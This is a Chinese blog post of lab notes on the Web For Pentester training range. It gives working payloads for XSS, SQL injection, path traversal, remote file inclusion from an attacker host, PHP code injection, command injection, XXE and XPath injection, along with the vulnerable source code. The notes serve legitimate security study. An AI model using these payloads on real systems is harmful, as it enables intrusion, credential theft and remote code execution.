[NOTE] Web For Pentester靶场练习笔记

文章目录

  • [NOTE] Web For Pentester靶场练习笔记
    • 前言
    • Web基础
      • PHP的session管理
      • HTTP认证
      • Web应用指纹识别
    • XSS
      • Example 1
      • Example 2
      • Example 3
      • Example 4
      • Example 5
      • Example 6
      • Example 7
      • Example 8
      • Example 9
    • SQL injections
      • Example 1
      • Example 2
      • Example 3
      • Example 4
      • Example 5
      • Example 6
      • Example 7
      • Example 8
      • Example 9
    • Directory traversal
      • Example 1
      • Example 2
      • Example 3
    • File Include
      • Example 1
      • Example 2
    • Code injection
      • Example 1
      • Example 2
      • Example 3
      • Example 4
    • Commands injection
      • Example 1
      • Example 2
      • Example 3
    • LDAP attacks
      • Example 1
      • Example 2
    • File Upload
      • Example 1
      • Example 2
    • XML attacks
      • Example 1
      • Example 2

前言

搞完XVWA之后

环境
hacker: Kali Linux | 192.168.10.1/10.10.10.1
server: Debian 6 | 192.168.10.xxx (dynamic)

想着搞完这个Web靶场就暂时歇一歇
不搞这种专门的列一大堆的Web漏洞的靶场了
后面搞CMS,以及一些sqli和upload的专项训练,还有练练渗透

所以这个靶场更多地面向源码一些
先黑盒,做不做得出最后都看看代码分析一下

也会看看官方给的教程文档,看看有没有别的什么值得学习的地方

此外也借鉴整理了国光大神的博客

Web基础

就是对官方教程前面的部分进行简单看看,记些不太熟或不懂的

Web安全的根基:don’t trust the client

Web服务端可以进一步划分不同的层次,并面临不同的安全问题:

  • Web服务器,如Apache、lighttpd、Nginx、IIS等
  • 应用服务器,如Tomcat、Jboss、Oracle Application server等
  • 编程语言,如PHP、Java、Ruby、Python、ASP、C#等
    这些编程语言也可以被用作框架的一部分,如Ruby-on-Rails、.Net MVC、Django等

同一个Web应用可能会同时使用多个或多种后端存储
例如使用==LDAP==存储用户及其凭证,而使用Oracle存储信息

GETHEAD的区别仅体现在服务器的响应上:
GET的返回可以包含返回体
HEAD的返回体仅有headers,而没有body

还有别的方法如PUTDELETEOPTION
以前倒是了解过RESTful架构,简单写了下笔记

有些请求参数看起来像是这样:
/index.php?user[name]=louis&user[group]=1
一些框架会把它映射到user对象中,用来查找指定属性符合的对象
有时候这种使用方法若防御不当,则会导致名为“mass-assignment”的风险
(简单了解下,这个好像是涉及到Ruby-on-Rails框架,后面有机会再了解下)

  • X-Forwarded-For头的作用:获取源IP地址
  • Host头,在一些多站点服务器上,服务器用于“virtual-hosting”(同IP多域名)
    这里很多时候是一个安全点,如输入IP地址啥的

418响应码:I’m a teapot

double encoding:双重编码有时可能有点用,URL啥的

关于返回包里的Set-Cookie字段,包含了一些信息:

  • 有效期:告诉浏览器什么时候删除这个cookie
  • Domain:告诉浏览器把这个cookie发往哪一个子域名或主机名
  • Path:告知浏览器把这个cookie发往哪一个路径
  • 安全标志:如httpOnlysecure

cookie与session:一个存储在客户端,一个存储在服务端

PHP的session管理

PHP在Debian里面是无加密存储sessionid的,如/var/lib/php5
假如一个sessionid是o8d7lr4p16d9gec7ofkdbnhm93
那么对应的文件就是sess_o8d7lr4p16d9gec7ofkdbnhm93,里面有关于这个session的完整信息

HTTP认证

HTTP协议中自带以下的认证方法:

  • Basic:通过Authorization头指定,用户名和密码经BASE64编码后发送给服务器

  • Digest:服务端发送挑战,客户端将挑战连同密码作哈希后发往服务器

  • NTLM:多在Microsoft里面使用,和Digest差不多

Web应用指纹识别

  • server的名称和版本

  • 后端有无使用应用服务器

  • 后端数据库

  • 反向代理的使用?

  • 负载平衡

  • 编程语言

有时候以.jsp.do为后缀的页面文件很可能是Java语言写的
(虽然也有可能是混淆)

有时候页面旁边的小图标也能暴露服务器banner信息
只要网站管理员没改的话

robots.txt文件有时候可以暴露框架和应用

有时候一些CMS或应用的文档,可能暴露管理员页面

XSS

关于XSS漏洞具体的利用场景,可以看看我之前在Pikachu靶场的练习笔记
下面的练习,就简单弹个窗什么的…

Example 1

最最最最最最最最最最基本的XSS,乱X

源码就是直接echo参数

Example 2

过滤了<script>,大小写混拼可绕过

源码:preg_replace正则匹配替换<script></script>
双拼、大小写绕过都可以

Example 3

img标签可绕过:
?name=<img src="e" onerror=alert("XSS") />

源码:preg_replace正则匹配<script></script>,不区分大小写
双拼可绕过

Example 4

img标签可绕过

源码:preg_match('/script/i', $_GET["name"])
正则匹配“script”,不区分大小写,匹配到就报“error”

Example 5

很奇怪,过滤alert
写cookie在页面上的payload:
<script>document.write(document.cookie)</script>

源码还真是正则匹配不区分大小写的alert,匹配到就报错
why?


行吧,原来题目要求我们就要弹窗

那就结合eval函数和String.fromCharCode函数
后者将alert("XSS")的ascii码转成字符,再拼接成字符串
前者将字符串当作代码执行

payload1:
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41))</script>

payload2:
<img src="e" onerror="eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41));" />

另外两个弹窗函数,都可以回显cookie:

  • confirm:弹出确认框
  • prompt:弹出输入框

Example 6

这次输什么都不会回显了

源码:

Hello
<script>var $a= "<?php  echo $_GET["name"]; ?>";
</script>

也就是说,输入被拼接到了字符串中,被当作变量保存
然后没有任何回显

这种是属于盲注的情况?

输入的参数要主动闭合上双引号,然后形成完整的JS语句
payload:";alert("XSS")//
变成:var $a= "<?php echo "; alert("XSS")//; ?>"

这个比较难想到?
思路是,不管什么东西,都试试单/双引号主动闭合看看

Example 7

源码:

Hello
<script>var $a= '<?php  echo htmlentities($_GET["name"]); ?>';
</script>

使用htmlentities函数将HTML特殊字符转义成HTML实体
但是这个函数默认不转义',除非加上ENT_QUOTES参数

所以主动闭合,payload:';alert('XSS');//

Example 8

换成了一个输入框,POST提交参数,然后回显
但是这次好像怎么注都不太行

源码:

echo "HELLO ".htmlentities($_POST["name"]);

这次的输入框不存在XSS问题了,因为输入都得到了正确的转义

但是问题出在form表单的构造:

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">Your name:<input type="text" name="name" /><input type="submit" name="submit"/>

上面使用了$_SERVER['PHP_SELF']这个变量,指代的是当前执行脚本的文件名
不当使用该变量也可能导致XSS问题

在这一题中,根据URL该值应该是/xss/example8.php
但是攻击者可以通过修改URL从而达到XSS的目的

根据上述,可以给出以下payload:
http://192.168.10.136/xss/example8.php/"></from><script>alert(document.cookie)</script>
这样一来表单就会变成:

<form action=""></from><script>alert(document.cookie)</script>" method="POST">Your name:<input type="text" name="name" /><input type="submit" name="submit"/>

嵌入了script标签,从而执行恶意代码

但是从页面元素来看,表单结构显示的是<form action="/xss/example8.php" method="POST">
这我怎么知道这里是写死的还是代码生成的呢?只能白盒?

总之,学习到$_SERVER['PHP_SELF']这个变量是指示当前执行脚本的文件名
一定程度上反映自URL,而URL是用户可控的

Example 9

这次是基于DOM型的XSS,源码:

<script>document.write(location.hash.substring(1));
</script>

意思是将URL锚点#后面的字符串写在页面上
理论上这里写XSS的payload就好

但是有一个问题,目前我的浏览器会自动URL编码
所以最后写在页面上的是编码后的payload:

形成不了弹窗的效果

bp、curl这俩工具捕获不到后面动态生成页面的过程
那咋办
换成HTML编码那就更不行了

一个思路就是看看能不能关掉浏览器的自动URL编码功能

SQL injections

Example 1

GET一个name参数,传入用户名,然后返回信息

传入不存在的用户名也会显示属性栏
但是传入'则会什么都没有,类似于页面出现错误
说明可能是单引号字符型注入

验证注入的payload:?name=' or 1=1 %23

判断回显字段为5:?name=root' order by 5%23

观察回显位置:' union select 1,2,3,4,5 %23

爆库:?name=' union select database(),2,3,4,5 %23

爆表:?name=' union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema=database() %23

爆列:?name=' union select group_concat(column_name),2,3,4,5 from information_schema.columns where table_schema=database() and table_name='users' %23

爆数据:?name=' union select group_concat(id),group_concat(name),group_concat(passwd),4,5 from users %23


源码:

$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";

最简单的SQLi

Example 2

情景和上题一样

测试全注:' or 1=1 %23
但是回显“ERROR NO SPACE”
说明检测到了空格,从而报错

那就换成注释符/**/作为分隔符
判断回显字段:?name='/**/union/**/select/**/1,2,3,4,5/**/%23

中间过程省略,最后爆数据:?name='/**/union/**/select/**/group_concat(id),group_concat(name),group_concat(passwd),4,5/**/from/**/users/**/%23


源码:

if (preg_match('/ /', $_GET["name"])) {die("ERROR NO SPACE");
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";

正则匹配到有空格就报错,换成注释符/**/可绕过

Example 3

和上题没什么区别?也是过滤空格?

最后爆数据的payload:?name='/**/union/**/select/**/group_concat(id),group_concat(name),group_concat(passwd),4,5/**/from/**/users/**/%23


源码:

if (preg_match('/\s+/', $_GET["name"])) {die("ERROR NO SPACE");
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";

原来是过滤掉所有空白字符,但是没有考虑注释符
所以上一题的绕过方法还能用

Example 4

参数从name变成了id,说明可能是数字型注入
一试,果然:?id=999 or 1=1 %23

剩下的就是最简单的数字型注入,主要是?id=999 union select ...


源码:

$sql="SELECT * FROM users where id=";
$sql.=mysql_real_escape_string($_GET["id"])." ";

乱注

Example 5

和上题没什么区别?


源码:

if (!preg_match('/^[0-9]+/', $_GET["id"])) {die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"] ;

好像是匹配不到整数就报错,但是为什么这个payload能够通过?
?id=999 union select 1,2,3,4,5 %23

测了下,好像这个函数preg_match捕获到第一个符合条件的就返回,就不管后面的内容了,所以上面匹配到999之后,就通过检查了,但是会把所有payload都传递给$id

官方文档也是这样说的:

**preg_match()返回 pattern 的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()**在第一次匹配后 将会停止搜索。

Example 6

这次输入?id=999 union select 1,2,3,4,5 %23
也会报“ERROR INTEGER REQUIRED”


源码:

if (!preg_match('/[0-9]+$/', $_GET["id"])) {die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"] ;

原来是要参数id最后匹配数字,前面不管
那么后面的注释符#都不同了哈哈

全注的payload:?id=55 or 1=1 or 99

判断回显字段数:?id=1 order by 5

判断回显字段:?id=999 union select 1,2,3,4,5

爆库:?id=999 union select database(),2,3,4,5

爆表和爆列最后面的where语句判断,需要最后面加个 and 1来绕过检查

爆表:?id=999 union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema=database() and 1

爆列:?id=999 union select group_concat(column_name),2,3,4,5 from information_schema.columns where table_schema=database() and table_name='users' and 1

爆数据最后面加个where 1就行

爆数据:?id=999 union select group_concat(id),group_concat(name),group_concat(passwd),4,5 from users where 1

Example 7

这次看起来限制的比较死,哪里有非数字字符好像都不行


源码:

if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"];

id参数从头匹配到尾~~(还是全行匹配)~~,若不是整数,则报错
那咋办,查攻略

正则匹配的修饰符/m,意思是多行模式
即会逐行匹配,而不是匹配整个字符串的开头和结尾

加上preg_match只匹配一次的特性
就可以这样构造payload:123\nPAYLOAD

但是不管我怎样搞,都会显示“ERROR INTEGER REQUIRED”
URL编码后也不行

则么会是?

Example 8

这一次比较奇怪,参数变成了order
一开始是?order=name,怀疑是将查询结果按“name”属性排列
改成“id”或“age”,也按对应属性顺序排列了

猜测后端代码如:select * from table order by '$_GET['name']'

然后就不会了


源码:

$sql = "SELECT * FROM users ORDER BY `";
$sql .= mysql_real_escape_string($_GET["order"])."`";

需要说明一点的是
MySQL里面的order by后面跟的排列字段只有以下两种形式:

  • 直接跟列名:order by name
  • 反点之间的列名:order by `name`

所以之前猜测的使用单引号是不对的

此外源码里面还使用了mysql_real_escape_string函数,单双引号、回车制表、反斜杠以及\x00等都会被转义
就是没有转义“`”

这里还要结合一下order by可以多字段排列的特点
以及使用case-when-then-else-end句式

示例payload:?order=id`, (case when (1=2) then `name` else `age` end) %23
首先是主动闭合,先将查询结果按id字段排列
后面的句式是关键,when里面添加判断语句
为真则进一步按name字段排列,否则按age字段排列

when里面可以替换成别的判断
返回结果会根据真假是否成立从而形成不同的显示结果
从而形成盲注的效果

遗憾的是,这里的数据库每个字段都是不一样的
所以找不出不同判断结果会有的不一样的地方

Example 9

源码:

$sql = "SELECT * FROM users ORDER BY ";
$sql .= mysql_real_escape_string($_GET["order"]);

和上题类似,只不过是使用了order by的另一种字段使用方法:直接拼接

由于不用使用“`”去主动闭合,可以做到只用一个字段排列
返回结果能够根据when的判断结果而不一样了
真正做到了盲注


下面的盲注过程只是简单写写,不写完整过程(手工盲注也太累了吧)

判断出数据库名长度为9:
?order=(case when (length(database())=9) then `id` else `age` end)

判断出第一个表名长度为5:
?order=(case when (length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=5) then `id` else `age` end)

判断出第一个表名的第一个字符的ascii码为117:
?order=(case when (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=117) then `id` else `age` end)
(不能用字符直接判断,因为使用了mysql_real_escape_string函数)

后面算了,sqlmap跑跑看
sqlmap能注是能注,但它用的是时间盲注,效率有点慢
加上我的靶场环境配置,攻击者和靶机之间的通信有时会卡住,就很慢
不过sqlmap的容错做的是真的不错,会自动根据实际情况调整时延上限
牛逼牛逼

是不是要把靶机的处理器和内存都配置得大一点?

Directory traversal

奇怪的是,为什么主页上没有超链接,而是这么一个icon?

直接抄家,翻源码找到对应练习页面:
http://192.168.10.XXX/dirtrav/exampleX.php


此外官网的指引中给出了一个路径穿越漏洞的一般测试步骤:

  • images/./photo.jpg:能看到同一文件
  • images/../photo.jpg:报错
  • images/../images/photo.jpg:能看到同一文件
  • images/../IMAGES/photo.jpg:报错(却决于目标系统是否对路径大小写敏感)

此外../的数量过多的话一般来说也是没有问题的

Example 1

有一个GET参数file承接一个文件名
然后就可以../../../../../../../etc/passwd


此外官网指引提到
要是包含一个返回头Content-Disposition: attachment
浏览器是不会直接显示文件的
而可以通过打开文件来查看内容

例如可以使用wget命令来路径穿越下载文件:
wget -O - 'http://vulnerable/dirtrav/example1.php?file=../../../../../../../etc/passwd'

Example 2

上一个练习的payload不能用了

相关源码:

$file = $_GET['file'];
if (!(strstr($file,"/var/www/files/")))die();

strstr函数:strstr(string $haystack, mixed $needle)
返回haystack字符串从needle第一次出现的位置开始到haystack结尾的字符串
例如strstr('name@xxx.com', '@')返回@xxx.com

so the payload:?file=/var/www/files/../../../../../../etc/passwd

大概有点像判断参数里一定要包含合法值的意思

Example 3

上面的两个payload都不好使

相关源码:

$path = $UploadDir . $file.".png";
$path = preg_replace('/\x00.*/',"",$path);

原来是给传入参数添加上了后缀
然而这种防范很容易绕过——利用00截断
一般在Perl和老版本的PHP语言中很管用
PHP 5.3.4及以上版本修复此问题)

所以payload:?file=../../../../../../etc/passwd%00


关于00截断:具体是指老版本PHP等语言,在读取文件名是,如遇0x00,则会认为读取已结束

具体是null字符,在URL编码中为%00

File Include

这里是包含php文件,一般情况下涉及到下列函数:

  • require
  • require_once
  • include
  • include_once

一般结合文件上传漏洞打组合拳,官方给了一个用于远程包含的php文件:
https://assets.pentesterlab.com/test_include.txt
就是简单的php探针

Example 1

page参数接一个php文件,那试试直接上上面的payload
然就发现寄了,因为靶机是内网环境,整不了外网脚本

那就在攻击机里整探针试试:http://192.168.10.1/hack.php
但是信息是攻击机的

另外如果构造错误输入可以爆出一些有用信息:
Warning: include(http://192.168.10.1/hack.php'): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /var/www/fileincl/example1.php on line 7 Warning: include(): Failed opening 'http://192.168.10.1/hack.php'' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/fileincl/example1.php on line 7

Example 2

page参数后面这次没有.php后缀了,后端会自动加上

看了看源码,绕过方法是低版本php的00截断

Code injection

谈到php里有个系统代码执行函数system
然后php的行注释符是//

php里代码拼接是.

Example 1

name参数,输入"得报错信息:
Parse error: syntax error, unexpected '!', expecting ',' or ';' in /var/www/codeexec/example1.php(6) : eval()'d code on line 1
得知使用的是eval函数

看眼源码:

$str="echo \"Hello ".$_GET['name']."!!!\";";
eval($str);

如果输入try".",那么$str就会变成这样:
$str="echo \"Hello try" . "!!!\";";

抽出字符串本身来看,就是这个样子:
echo "Hello {我们注入的代码} !!!";

所以一个探针peyload就是:?name=";phpinfo();$a="
命令变成:echo "Hello ";phpinfo();$a=" !!!";

也可以放到php代码层进行绕过:
?name=".phpinfo();//
拼接变成:$str="echo \"Hello ".phpinfo();//!!!\";";
(这里不是很懂拼接的双引号问题)

或者使用${${code}}嗯插代码:
?name=${${phpinfo()}}

如果想执行系统命令而不是php函数,则使用system函数:
?name=".system('uname -a'); $dummy="
变成:$str="echo \"Hello ".system('uname -a'); $dummy="!!!\";";
(不是很懂拼接的双引号问题)


感觉还是得学习一波php语言

Example 2

变成了一个表格,order参数传入排序的列名

单引号所引发的报错:
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting T_STRING or T_VARIABLE or '{' or '$' in /var/www/codeexec/example2.php(22) : runtime-created function on line 1 Warning: usort() expects parameter 2 to be a valid callback, no array or string given in /var/www/codeexec/example2.php on line 22

不知道是啥代码捏


开发者使用排序时可能会使用以下方法:

  • order by——SQL请求
  • usort——PHP代码

usort函数经常使用create_function函数去动态生成排序函数

本题的关键代码:

if (isset($order)) {usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
}

usort(array, myfunction)
使用用户自定义的比较函数对数组中的元素进行排序
array:要排序的数组
myfunction:用于比较函数的字符串

create_function(string $args, string $code)
创建匿名函数
args:lambda函数的变量部分
code:lambda函数的实现

例如create_function('$fname','echo $fname."welcome"')
等价于:

function fT($fname) {echo $fname."welcome";
}

不能说是等价,实际上就是按这个模式进行创建的
所以注入时需要考虑主动闭合花括号,使用}


所以看回代码:
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
关键就是参数order,看看怎么主动闭合形成代码注入

一步步试:
?order=id;}//
?order=id);}//
?order=id));}//

上面只有中间那个不会报语法错误(error),只是警告(warning)
所以只需在}后面跟上我们要注入的代码即可

所以当注入这个:id);}phpinfo();//
就会变成:

create_function('$a, $b', 'return strcmp($a->id);}phpinfo();//,$b->id);}phpinfo();//')

function fT($a, $b) {return strcmp($a->id);}phpinfo();//,$b->id);}phpinfo();//;}

usort函数使用上面的匿名函数字符串,所以最后会执行一遍phpinfo

有点难,得学PHP

Example 3

一大堆参数WTF:?new=hacker&pattern=/lamer/&base=Hello lamer
然后页面只是回显个“Hello hacker”

源码:

echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);

大概是把base里面正则匹配的pattern替换成new的意思


说到preg_replace函数,有一个很危险的选项PCRE_REPLACE_EVAL/e
会导致preg_replace函数会把替换后的新字符串当作PHP代码去执行

PCRE_REPLACE_EVAL has been deprecated as of PHP 5.5.0
后面用preg_replace_callback代替

所以只需要在传入的模式中加上/e模式
就可以把替换后的结果当作PHP代码执行

所以payload:?new=phpinfo()&pattern=/lamer/e&base=Hello lamer

Example 4

又变回来了,name参数,回显到页面上

引号引起的报错:Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE in /var/www/codeexec/example4.php(4) : assert code on line 1 Catchable fatal error: assert(): Failure evaluating code: ''' in /var/www/codeexec/example4.php on line 4

估计和assert函数有关


源码:

assert(trim("'".$_GET['name']."'"));
echo "Hello ".htmlentities($_GET['name']);

trim:移除字符串两边的空白字符或预定义字符
assertPHP5可以执行代码

所以主要就是构造闭合,执行想要的代码
和Example 1差不多

有三种闭合方式:
注释掉后面的引号:?name='.phpinfo();//
也闭合后面引号:'.phpinfo().'
直接${${code}}插入代码:'.${${phpinfo()}}.'

Commands injection

上面是代码注入,这里是命令注入,有点区别

此外Linux里面有个机制,就是反引号里面的字符串会被当成命令先执行
例如“echo `whoami`”会输出当前用户名

Example 1

ip参数后面跟个IP地址,然后给出ping的结果

好像很明显?直接分号接命令就ok:?ip=127.0.0.1;whoami

源码:
system("ping -c 2 ".$_GET['ip']);

Example 2

?ip=127.0.0.1;whoami直接报“Invalid IP address”

源码:

if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);

正则匹配限定参数必须有ip地址形式的字符串
但是是多行模式匹配,加上preg_match函数只会匹配一次的特点
所以可以使用换行符(URL编码)来分隔正常的输入和恶意命令:
?ip=127.0.0.1%0Awhoami

Example 3

发现输入?ip=127.0.0.1;whoami会跳转回ping 127.0.0.1的页面

抓包一看发现只是重定向而已,原来的包还是会返回恶意代码执行的结果

LDAP attacks

LDAP(Lightweight Directory Access Protocol),轻量目录访问协议

可以把他和数据库类比,LDAP是一个为查询、浏览、搜索而优化的专业分布式数据库,它成树状结构组织数据,就好像 Linux/Unix系统中的文件目录一样。

目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。

所以 LDAP天生是用来查询的。

Example 1

用于认证的两个参数usernamepassword
一开始有初值:?username=hacker&password=hacker
但是回显“NOT AUTHENTICATED”

但是把所有参数都删除,就会显示“AUTHENTICATED”,认证成功了


一些LDAP服务器允许NULL绑定:如果NULL值被传输,则LDAP服务器会尝试绑定连接,而PHP代码会认为这种认证是合法的

源码:

$ld = ldap_connect("localhost") or die("Could not connect to LDAP server");
ldap_set_option($ld, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ld, LDAP_OPT_REFERRALS, 0);
if ($ld) {if (isset($_GET["username"])) { $user = "uid=".$_GET["username"]."ou=people,dc=pentesterlab,dc=com";}$lb = @ldap_bind($ld, $user,$_GET["password"]);if ($lb) {echo "AUTHENTICATED";}else {echo "NOT AUTHENTICATED";}
}

抽出漏洞原因,估计是下面这个:

$lb = @ldap_bind($ld, $user,$_GET["password"]);
if ($lb) {echo "AUTHENTICATED";
}

由于ldap_bind继续尝试绑定连接,所以$lb不为NULL,所以通过下方认证判定
这是一种编码失误,其他认证过程也要注意类似的问题

Example 2

默认参数:?name=hacker&password=hacker
回显“AUTHENTICATED as hacker”

删除所有参数,回显:
Notice: Undefined index: password in /var/www/ldap/example2.php on line 9 Notice: Undefined index: name in /var/www/ldap/example2.php on line 10 UNAUTHENTICATED


这部分类似于MySQL注入,需要先学习LDAP的基本知识

  • LDAP基础

  • LDAP服务器搭建

  • 题解

主要还是要理解一些LDAP语法,以及运用到了PHP的00截断
达到了类似sqli万能密码的效果

File Upload

Example 1

好像是直接传的意思

准备一句话,蚁剑连


源码:

<?php
if(isset($_FILES['image'])) { $dir = '/var/www/upload/images/';$file = basename($_FILES['image']['name']);if(move_uploaded_file($_FILES['image']['tmp_name'], $dir. $file)) {echo "Upload done";echo "Your file can be found <a href=\"/upload/images/".htmlentities($file)."\">here</a>";} else { echo 'Upload failed';}
}
?><form method="POST" action="example1.php" enctype="multipart/form-data">
Mon image : <input type="file" name="image"><br/>
<input type="submit" name="send" value="Send file">
</form>

没有任何防护措施

Example 2

直接上传一句话显示“NO PHP”

试了试00截断,发现不太行

源码:

$file = basename($_FILES['image']['name']);
if (preg_match('/\.php$/',$file)) {DIE("NO PHP");
}

可能是因为是后端PHP进行后缀检查而不是前端,所以00截断在检查之前就已经生效,所以检测的文件名确实是以.php结尾的,所以通不过检查

大小写混拼后缀.pHp可绕过

另外蚁剑那里有个连接类型为“PHP4”也可以考虑一下


官网提到的几种绕过方法:

  • 使用.php3.php4或者是.php5后缀,一些服务器说不定还支持
  • .php后面使用一个Apache识别不了的后缀(例如.fuckyou),Apache识别不了可能会尝试识别下一个后缀(但问题是蚁剑也识别不了啊,可能和使用的工具有关)

XML attacks

Example 1

原始参数:?xml=<test>hacker</test>
盲猜是XXE

试试payload:?xml=<!DOCTYPE any[<!ENTITY js SYSTEM "file:///etc/passwd">]><test>&js;</test>

结果回显:
“Hello Warning: simplexml_load_string(): Entity: line 1: parser error : Premature end of data in tag test line 1 in /var/www/xml/example1.php on line 4 Warning: simplexml_load_string(): ]> in /var/www/xml/example1.php on line 4 Warning: simplexml_load_string(): ^ in /var/www/xml/example1.php on line 4 ”

哦哦,原来是GET传递参数,所以要URL编码(涉及到了&等字符)
编码一下就好


源码:

$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);

涉及到一个simplexml_load_string函数可以看看

Example 2

参数变成了?name=hacker
可能是XPath注入

果然是
先复习一下XPath的知识


输入一个',报错误了

输入",没有报错,没有回显,可能是单引号闭合变量

前后主动闭合,看看能不能爆出所有值:?name=']|//*|ss['
回显:“hackerHello hackerpentesterlabadminHello admins3cr3tP4ssw0rd ”

虽然是所有都爆出来了,但是没有分隔符,啥是啥也不知道

也可以00截断,?name=' or 1=1]%00,也是永真条件
但是只能查询当前层次的所有节点

另外了解到另外一种全注的payload:
?name=' or 1=1]/parent::*/child::node()%00
其中parent::*用于选择当前节点的所有父节点
child::node()用于选择所有子节点


源查询代码:$xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";

剩下倒是可以盲注,但是有时候也可以直接猜
因为全注的字段有些看起来像是密码
所以可以试试猜原XML里有password节点,并把他们注出来:?name=']|//password%00
回显:“pentesterlabs3cr3tP4ssw0rd”
类似的还有user、name等常见字段也可以试试
虽然都没有分隔

简单盲注:

判断第一个节点的名字的第一个字符是‘d’:
?name=hacker' and substring(name(/*[position()=1]),1,1)='d' and '1'='1

判断第一个节点名字是“data”:
?name=hacker' and name(/*[position()=1])='data' and '1'='1

下略BLABLABLA

[NOTE] Web For Pentester靶场练习笔记相关推荐

  1. [NOTE] XVWA靶场练习笔记

    [NOTE] XVWA靶场练习笔记 文章目录 [NOTE] XVWA靶场练习笔记 前言 SQL Injection – Error Based 选择框 搜索栏 SQL Injection – Blin ...

  2. [NOTE] DSVW靶场练习笔记

    [NOTE] DSVW靶场练习笔记 文章目录 [NOTE] DSVW靶场练习笔记 前言 Blind SQL Injection (boolean) Blind SQL Injection (time) ...

  3. [NOTE] Pikachu靶场练习笔记

    [NOTE] Pikachu靶场练习笔记 文章目录 [NOTE] Pikachu靶场练习笔记 前言 暴力破解 基于表单的暴力破解 验证码绕过(on server) 验证码绕过(on client) t ...

  4. [NOTE] WebGoat v8.2.2学习笔记

    [NOTE] WebGoat v8.2.2学习笔记 文章目录 [NOTE] WebGoat v8.2.2学习笔记 前言 CIA 常见编码形式 OpenSSL使用 docker安全 SQL安全 SQLi ...

  5. Web前端系统学习——课程笔记(章节8-9)

    Web前端系统学习--课程笔记 课程链接:WEB前端系统学习 - 网易云课堂 参考教程:菜鸟教程 笔记链接:Web-Learn-Note 章节8 表格与表单 课时30 表格嵌套规则 样式初始化 14: ...

  6. vsmoon靶场实战笔记

    vsmoon靶场实战笔记 web打点 信息收集 nmap扫描端口 扫描结果 └─$ nmap -sV -A 192.168.1.106 -Pn Starting Nmap 7.92 ( https:/ ...

  7. 【渗透测试学习平台】 web for pentester -1.介绍与安装

    web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术. 官网:https://www.pentesterlab.com 下载地址: ...

  8. 好程序员web前端分享Nodejs学习笔记之Stream模块

    好程序员web前端分享Nodejs学习笔记之Stream模块 一,开篇分析 流是一个抽象接口,被 Node 中的很多对象所实现.比如对一个 HTTP 服务器的请求是一个流,stdout 也是一个流.流 ...

  9. Web For Pentester -- File Upload

    文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力. 文件上传导致的常见安全问题: 上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导 ...

最新文章

  1. (组合)Binomial Showdown
  2. 神经网络到底是如何做出决策的?
  3. 1.18.3.Flink Catalog介绍、Catalog 定义、Catalog 的实现、Catalog 使用举例
  4. srs推flv流_srs流媒体服务器(simple rtmp server)如何支持h265
  5. confusion中文_confusion
  6. 使用.net开发手机管理软件 (九) 短信部分——PDU简介及其格式
  7. 编程基础(四)——cache之一
  8. Flutter入门学习--(18)添加本地资源图片
  9. stata怎么画分类图_Stata怎么画直方图或折线图-Stata教程
  10. iweboffice注意事项
  11. 鼠标右键菜单及图标添加
  12. python建立ARIMA模型进行时间序列分析(氵论文)
  13. labelImg打开闪退怎么解决
  14. 航拍无人机 无人车_无人机将有自己的时刻
  15. Win10 wusa命令卸载系统更新
  16. IC设计中节省静态功耗和动态功耗的方法
  17. 常见的NoSQL数据库有哪些
  18. 基于MATLAB金属表面缺陷分类与测量的GUI设计
  19. 70个数据分析工具,必须收藏!
  20. 划一划新闻作手机端最简洁的新闻聚合网站

热门文章

  1. 在web.config中配置httpHandlers节点是的说明
  2. kettle根据参数动态派生列
  3. 【openlayers】修改源码支持SLD的graphicfill属性
  4. 2020\Simulation_2\4.括号序列
  5. 计算机精英协会考核题 —— 第二题:蛇形填数
  6. PaddlePaddle训练营——公开课——AI核心技术掌握——第2章机器能“看”的现代技术——源自视觉神经原理的卷积网络简介及深入理解
  7. 大数据WEB阶段Spring框架(三)声明式事务处理
  8. 【Linux】一步一步学Linux网络编程教程汇总(更新中......)
  9. 【Linux】一步一步学Linux——service命令(146)
  10. 【Linux】一步一步学Linux——bzip2命令(65)